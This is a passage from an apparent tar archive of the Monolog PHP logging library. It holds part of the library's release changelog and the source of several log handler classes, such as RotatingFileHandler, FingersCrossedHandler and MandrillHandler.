HipChatHandler for users of private instances * Added $transactionName to NewRelicHandler and support for a transaction_name context value * Fixed MandrillHandler to avoid outputting API call responses * Fixed some non-standard behaviors in SyslogUdpHandler ### 1.11.0 (2014-09-30) * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails * Added MandrillHandler to send emails via the Mandrillapp.com API * Added SlackHandler to log records to a Slack.com account * Added FleepHookHandler to log records to a Fleep.io account * Added LogglyHandler::addTag to allow adding tags to an existing handler * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing * Added support for PhpAmqpLib in the AmqpHandler * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs * Added support for adding extra fields from $_SERVER in the WebProcessor * Fixed support for non-string values in PrsLogMessageProcessor * Fixed SwiftMailer messages being sent with the wrong date in long running scripts * Fixed minor PHP 5.6 compatibility issues * Fixed BufferHandler::close being called twice ### 1.10.0 (2014-06-04) * Added Logger::getHandlers() and Logger::getProcessors() methods * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached * Added support for extra data in NewRelicHandler * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines ### 1.9.1 (2014-04-24) * Fixed regression in RotatingFileHandler file permissions * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative ### 1.9.0 (2014-04-20) * Added LogEntriesHandler to send logs to a LogEntries account * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes * Added support for table formatting in FirePHPHandler via the table context key * Added a TagProcessor to add tags to records, and support for tags in RavenHandler * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files * Added sound support to the PushoverHandler * Fixed multi-threading support in StreamHandler * Fixed empty headers issue when ChromePHPHandler received no records * Fixed default format of the ErrorLogHandler ### 1.8.0 (2014-03-23) * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler * Added FlowdockHandler to send logs to a Flowdock account * Added RollbarHandler to send logs to a Rollbar account * Added HtmlFormatter to send prettier log emails with colors for each log level * Added GitProcessor to add the current branch/commit to extra record data * Added a Monolog\Registry class to allow easier global access to pre-configured loggers * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement * Added support for HHVM * Added support for Loggly batch uploads * Added support for tweaking the content type and encoding in NativeMailerHandler * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor * Fixed batch request support in GelfHandler ### 1.7.0 (2013-11-14) * Added ElasticSearchHandler to send logs to an Elastic Search server * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB * Added SyslogUdpHandler to send logs to a remote syslogd server * Added LogglyHandler to send logs to a Loggly account * Added $level to IntrospectionProcessor so it only adds backtraces when needed * Added $version to LogstashFormatter to allow using the new v1 Logstash format * Added $appName to NewRelicHandler * Added configuration of Pushover notification retries/expiry * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default * Added chainability to most setters for all handlers * Fixed RavenHandler batch processing so it takes the message from the record with highest priority * Fixed HipChatHandler batch processing so it sends all messages at once * Fixed issues with eAccelerator * Fixed and improved many small things ### 1.6.0 (2013-07-29) * Added HipChatHandler to send logs to a HipChat chat room * Added ErrorLogHandler to send logs to PHP's error_log function * Added NewRelicHandler to send logs to NewRelic's service * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel * Added stack traces output when normalizing exceptions (json output & co) * Added Monolog\Logger::API constant (currently 1) * Added support for ChromePHP's v4.0 extension * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel * Added support for sending messages to multiple users at once with the PushoverHandler * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now * Fixed issue in RotatingFileHandler when an open_basedir restriction is active * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 * Fixed SyslogHandler issue when many were used concurrently with different facilities ### 1.5.0 (2013-04-23) * Added ProcessIdProcessor to inject the PID in log records * Added UidProcessor to inject a unique identifier to all log records of one request/run * Added support for previous exceptions in the LineFormatter exception serialization * Added Monolog\Logger::getLevels() to get all available levels * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle ### 1.4.1 (2013-04-01) * Fixed exception formatting in the LineFormatter to be more minimalistic * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days * Fixed WebProcessor array access so it checks for data presence * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors ### 1.4.0 (2013-02-13) * Added RedisHandler to log to Redis via the Predis library or the phpredis extension * Added ZendMonitorHandler to log to the Zend Server monitor * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor * Added `$useSSL` option to the PushoverHandler which is enabled by default * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously * Fixed header injection capability in the NativeMailHandler ### 1.3.1 (2013-01-11) * Fixed LogstashFormatter to be usable with stream handlers * Fixed GelfMessageFormatter levels on Windows ### 1.3.0 (2013-01-08) * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` * Added PsrLogMessageProcessor that you can selectively enable for full PSR-3 compliance * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) * Added PushoverHandler to send mobile notifications * Added CouchDBHandler and DoctrineCouchDBHandler * Added RavenHandler to send data to Sentry servers * Added support for the new MongoClient class in MongoDBHandler * Added microsecond precision to log records' timestamps * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing the oldest entries * Fixed normalization of objects with cyclic references ### 1.2.1 (2012-08-29) * Added new $logopts arg to SyslogHandler to provide custom openlog options * Fixed fatal error in SyslogHandler ### 1.2.0 (2012-08-18) * Added AmqpHandler (for use with AMQP servers) * Added CubeHandler * Added NativeMailerHandler::addHeader() to send custom headers in mails * Added the possibility to specify more than one recipient in NativeMailerHandler * Added the possibility to specify float timeouts in SocketHandler * Added NOTICE and EMERGENCY levels to conform with RFC 5424 * Fixed the log records to use the php default timezone instead of UTC * Fixed BufferHandler not being flushed properly on PHP fatal errors * Fixed normalization of exotic resource types * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog ### 1.1.0 (2012-04-23) * Added Monolog\Logger::isHandling() to check if a handler will handle the given log level * Added ChromePHPHandler * Added MongoDBHandler * Added GelfHandler (for use with Graylog2 servers) * Added SocketHandler (for use with syslog-ng for example) * Added NormalizerFormatter * Added the possibility to change the activation strategy of the FingersCrossedHandler * Added possibility to show microseconds in logs * Added `server` and `referer` to WebProcessor output ### 1.0.2 (2011-10-24) * Fixed bug in IE with large response headers and FirePHPHandler ### 1.0.1 (2011-08-25) * Added MemoryPeakUsageProcessor and MemoryUsageProcessor * Added Monolog\Logger::getName() to get a logger's channel name ### 1.0.0 (2011-07-06) * Added IntrospectionProcessor to get info from where the logger was called * Fixed WebProcessor in CLI ### 1.0.0-RC1 (2011-07-01) * Initial release ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerTrait.php�����������������������0000644�����������������00000002401�15154650146�0023510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Helper trait for implementing FormattableInterface * * @author Jordi Boggiano <j.boggiano@seld.be> */ trait FormattableHandlerTrait { /** * @var ?FormatterInterface */ protected $formatter; /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { $this->formatter = $this->getDefaultFormatter(); } return $this->formatter; } /** * Gets the default formatter. * * Overwrite this if the LineFormatter is not a good default for your handler. */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/RedisPubSubHandler.php����������������������������0000644�����������������00000003640�15154650146�0022441 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Sends the message to a Redis Pub/Sub channel using PUBLISH * * usage example: * * $log = new Logger('application'); * $redis = new RedisPubSubHandler(new Predis\Client("tcp://localhost:6379"), "logs", Logger::WARNING); * $log->pushHandler($redis); * * @author Gaëtan Faugère <gaetan@fauge.re> */ class RedisPubSubHandler extends AbstractProcessingHandler { private $redisClient; private $channelKey; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The channel key to publish records to * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($redis, string $key, $level = Logger::DEBUG, bool $bubble = true) { if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { throw new \InvalidArgumentException('Predis\Client or Redis instance required'); } $this->redisClient = $redis; $this->channelKey = $key; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->redisClient->publish($this->channelKey, $record["formatted"]); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } ������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/OverflowHandler.php�������������������������������0000644�����������������00000011507�15154650146�0022056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; /** * Handler to only pass log messages when a certain threshold of number of messages is reached. * * This can be useful in cases of processing a batch of data, but you're for example only interested * in case it fails catastrophically instead of a warning for 1 or 2 events. Worse things can happen, right? * * Usage example: * * ``` * $log = new Logger('application'); * $handler = new SomeHandler(...) * * // Pass all warnings to the handler when more than 10 & all error messages when more then 5 * $overflow = new OverflowHandler($handler, [Logger::WARNING => 10, Logger::ERROR => 5]); * * $log->pushHandler($overflow); *``` * * @author Kris Buist <krisbuist@gmail.com> */ class OverflowHandler extends AbstractHandler implements FormattableHandlerInterface { /** @var HandlerInterface */ private $handler; /** @var int[] */ private $thresholdMap = [ Logger::DEBUG => 0, Logger::INFO => 0, Logger::NOTICE => 0, Logger::WARNING => 0, Logger::ERROR => 0, Logger::CRITICAL => 0, Logger::ALERT => 0, Logger::EMERGENCY => 0, ]; /** * Buffer of all messages passed to the handler before the threshold was reached * * @var mixed[][] */ private $buffer = []; /** * @param HandlerInterface $handler * @param int[] $thresholdMap Dictionary of logger level => threshold * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble */ public function __construct( HandlerInterface $handler, array $thresholdMap = [], $level = Logger::DEBUG, bool $bubble = true ) { $this->handler = $handler; foreach ($thresholdMap as $thresholdLevel => $threshold) { $this->thresholdMap[$thresholdLevel] = $threshold; } parent::__construct($level, $bubble); } /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * @param array $record The record to handle * * @return Boolean true means that this handler handled the record, and that bubbling is not permitted. * false means the record was either not processed or that this handler allows bubbling. */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } $level = $record['level']; if (!isset($this->thresholdMap[$level])) { $this->thresholdMap[$level] = 0; } if ($this->thresholdMap[$level] > 0) { // The overflow threshold is not yet reached, so we're buffering the record and lowering the threshold by 1 $this->thresholdMap[$level]--; $this->buffer[$level][] = $record; return false === $this->bubble; } if ($this->thresholdMap[$level] == 0) { // This current message is breaking the threshold. Flush the buffer and continue handling the current record foreach ($this->buffer[$level] ?? [] as $buffered) { $this->handler->handle($buffered); } $this->thresholdMap[$level]--; unset($this->buffer[$level]); } $this->handler->handle($record); return false === $this->bubble; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php�������������������������������0000644�����������������00000005214�15154650146�0022013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Swift; use Swift_Message; /** * MandrillHandler uses cURL to send the emails to the Mandrill API * * @author Adam Nicholson <adamnicholson10@gmail.com> */ class MandrillHandler extends MailHandler { /** @var Swift_Message */ protected $message; /** @var string */ protected $apiKey; /** * @psalm-param Swift_Message|callable(): Swift_Message $message * * @param string $apiKey A valid Mandrill API key * @param callable|Swift_Message $message An example message for real messages, only the body will be replaced * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $apiKey, $message, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); if (!$message instanceof Swift_Message && is_callable($message)) { $message = $message(); } if (!$message instanceof Swift_Message) { throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); } $this->message = $message; $this->apiKey = $apiKey; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $mime = 'text/plain'; if ($this->isHtmlBody($content)) { $mime = 'text/html'; } $message = clone $this->message; $message->setBody($content, $mime); /** @phpstan-ignore-next-line */ if (version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { /** @phpstan-ignore-next-line */ $message->setDate(time()); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'key' => $this->apiKey, 'raw_message' => (string) $message, 'async' => false, ])); Curl\Util::execute($ch); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php�����������������������������0000644�����������������00000003262�15154650146�0022325 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * @author Robert Kaufmann III <rok3@rok3.me> */ class LogEntriesHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by LogEntries * @param bool $useSSL Whether or not SSL encryption should be used. * @param string|int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * @param string $host Custom hostname to send the data to if needed * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct(string $token, bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true, string $host = 'data.logentries.com') { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); } $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SqsHandler.php������������������������������������0000644�����������������00000003367�15154650146�0021026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Aws\Sqs\SqsClient; use Monolog\Logger; use Monolog\Utils; /** * Writes to any sqs queue. * * @author Martijn van Calker <git@amvc.nl> */ class SqsHandler extends AbstractProcessingHandler { /** 256 KB in bytes - maximum message size in SQS */ protected const MAX_MESSAGE_SIZE = 262144; /** 100 KB in bytes - head message size for new error log */ protected const HEAD_MESSAGE_SIZE = 102400; /** @var SqsClient */ private $client; /** @var string */ private $queueUrl; public function __construct(SqsClient $sqsClient, string $queueUrl, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $sqsClient; $this->queueUrl = $queueUrl; } /** * Writes the record down to the log of the implementing handler. * * @param array $record */ protected function write(array $record): void { if (!isset($record['formatted']) || 'string' !== gettype($record['formatted'])) { throw new \InvalidArgumentException('SqsHandler accepts only formatted records as a string'); } $messageBody = $record['formatted']; if (strlen($messageBody) >= static::MAX_MESSAGE_SIZE) { $messageBody = Utils::substr($messageBody, 0, static::HEAD_MESSAGE_SIZE); } $this->client->sendMessage([ 'QueueUrl' => $this->queueUrl, 'MessageBody' => $messageBody, ]); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php���������������������������0000644�����������������00000014051�15154650146�0022637 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use InvalidArgumentException; use Monolog\Logger; use Monolog\Utils; /** * Stores logs to files that are rotated every day and a limited number of files are kept. * * This rotation is only intended to be used as a workaround. Using logrotate to * handle the rotation is strongly encouraged when you can use it. * * @author Christophe Coevoet <stof@notk.org> * @author Jordi Boggiano <j.boggiano@seld.be> */ class RotatingFileHandler extends StreamHandler { public const FILE_PER_DAY = 'Y-m-d'; public const FILE_PER_MONTH = 'Y-m'; public const FILE_PER_YEAR = 'Y'; protected $filename; protected $maxFiles; protected $mustRotate; protected $nextRotation; protected $filenameFormat; protected $dateFormat; /** * @param string $filename * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes */ public function __construct(string $filename, int $maxFiles = 0, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { $this->filename = Utils::canonicalizePath($filename); $this->maxFiles = $maxFiles; $this->nextRotation = new \DateTimeImmutable('tomorrow'); $this->filenameFormat = '{filename}-{date}'; $this->dateFormat = static::FILE_PER_DAY; parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); } /** * {@inheritdoc} */ public function close(): void { parent::close(); if (true === $this->mustRotate) { $this->rotate(); } } /** * {@inheritdoc} */ public function reset() { parent::reset(); if (true === $this->mustRotate) { $this->rotate(); } } public function setFilenameFormat(string $filenameFormat, string $dateFormat): self { if (!preg_match('{^[Yy](([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { throw new InvalidArgumentException( 'Invalid date format - format must be one of '. 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") '. 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the '. 'date formats using slashes, underscores and/or dots instead of dashes.' ); } if (substr_count($filenameFormat, '{date}') === 0) { throw new InvalidArgumentException( 'Invalid filename format - format must contain at least `{date}`, because otherwise rotating is impossible.' ); } $this->filenameFormat = $filenameFormat; $this->dateFormat = $dateFormat; $this->url = $this->getTimedFilename(); $this->close(); return $this; } /** * {@inheritdoc} */ protected function write(array $record): void { // on the first record written, if the log is new, we should rotate (once per day) if (null === $this->mustRotate) { $this->mustRotate = !file_exists($this->url); } if ($this->nextRotation <= $record['datetime']) { $this->mustRotate = true; $this->close(); } parent::write($record); } /** * Rotates the files. */ protected function rotate(): void { // update filename $this->url = $this->getTimedFilename(); $this->nextRotation = new \DateTimeImmutable('tomorrow'); // skip GC of old logs if files are unlimited if (0 === $this->maxFiles) { return; } $logFiles = glob($this->getGlobPattern()); if ($this->maxFiles >= count($logFiles)) { // no files to remove return; } // Sorting the files by name to remove the older ones usort($logFiles, function ($a, $b) { return strcmp($b, $a); }); foreach (array_slice($logFiles, $this->maxFiles) as $file) { if (is_writable($file)) { // suppress errors here as unlink() might fail if two processes // are cleaning up/rotating at the same time set_error_handler(function (int $errno, string $errstr, string $errfile, int $errline): bool { return false; }); unlink($file); restore_error_handler(); } } $this->mustRotate = false; } protected function getTimedFilename(): string { $fileInfo = pathinfo($this->filename); $timedFilename = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], date($this->dateFormat)], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (!empty($fileInfo['extension'])) { $timedFilename .= '.'.$fileInfo['extension']; } return $timedFilename; } protected function getGlobPattern(): string { $fileInfo = pathinfo($this->filename); $glob = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (!empty($fileInfo['extension'])) { $glob .= '.'.$fileInfo['extension']; } return $glob; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php�������������������������0000644�����������������00000017044�15154650146�0023175 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; use Monolog\Handler\FingersCrossed\ActivationStrategyInterface; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Buffers all records until a certain level is reached * * The advantage of this approach is that you don't get any clutter in your log files. * Only requests which actually trigger an error (or whatever your actionLevel is) will be * in the logs, but they will contain all records, not only those above the level threshold. * * You can then have a passthruLevel as well which means that at the end of the request, * even if it did not get activated, it will still send through log records of e.g. at least a * warning level. * * You can find the various activation strategies in the * Monolog\Handler\FingersCrossed\ namespace. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class FingersCrossedHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** @var HandlerInterface */ protected $handler; protected $activationStrategy; protected $buffering = true; protected $bufferSize; protected $buffer = []; protected $stopBuffering; protected $passthruLevel; protected $bubble; /** * @psalm-param HandlerInterface|callable(?array, FingersCrossedHandler): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). * @param int|string|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action, or a level name/value at which the handler is activated * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) * @param int|string $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered */ public function __construct($handler, $activationStrategy = null, int $bufferSize = 0, bool $bubble = true, bool $stopBuffering = true, $passthruLevel = null) { if (null === $activationStrategy) { $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); } // convert simple int activationStrategy to an object if (!$activationStrategy instanceof ActivationStrategyInterface) { $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); } $this->handler = $handler; $this->activationStrategy = $activationStrategy; $this->bufferSize = $bufferSize; $this->bubble = $bubble; $this->stopBuffering = $stopBuffering; if ($passthruLevel !== null) { $this->passthruLevel = Logger::toMonologLevel($passthruLevel); } if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return true; } /** * Manually activate this logger regardless of the activation strategy */ public function activate(): void { if ($this->stopBuffering) { $this->buffering = false; } $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); $this->buffer = []; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } if ($this->buffering) { $this->buffer[] = $record; if ($this->bufferSize > 0 && count($this->buffer) > $this->bufferSize) { array_shift($this->buffer); } if ($this->activationStrategy->isHandlerActivated($record)) { $this->activate(); } } else { $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * {@inheritdoc} */ public function close(): void { $this->flushBuffer(); $this->handler->close(); } public function reset() { $this->flushBuffer(); $this->resetProcessors(); if ($this->getHandler() instanceof ResettableInterface) { $this->getHandler()->reset(); } } /** * Clears the buffer without flushing any messages down to the wrapped handler. * * It also resets the handler to its initial buffering state. */ public function clear(): void { $this->buffer = []; $this->reset(); } /** * Resets the state of the handler. Stops forwarding records to the wrapped handler. */ private function flushBuffer(): void { if (null !== $this->passthruLevel) { $level = $this->passthruLevel; $this->buffer = array_filter($this->buffer, function ($record) use ($level) { return $record['level'] >= $level; }); if (count($this->buffer) > 0) { $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); } } $this->buffer = []; $this->buffering = true; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/MailHandler.php�����������������������������������0000644�����������������00000004022�15154650146�0021127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\HtmlFormatter; /** * Base class for all mail handlers * * @author Gyula Sallai */ abstract class MailHandler extends AbstractProcessingHandler { /** * {@inheritdoc} */ public function handleBatch(array $records): void { $messages = []; foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } $messages[] = $this->processRecord($record); } if (!empty($messages)) { $this->send((string) $this->getFormatter()->formatBatch($messages), $messages); } } /** * Send a mail with the given content * * @param string $content formatted email body to be sent * @param array $records the array of log records that formed this content */ abstract protected function send(string $content, array $records): void; /** * {@inheritdoc} */ protected function write(array $record): void { $this->send((string) 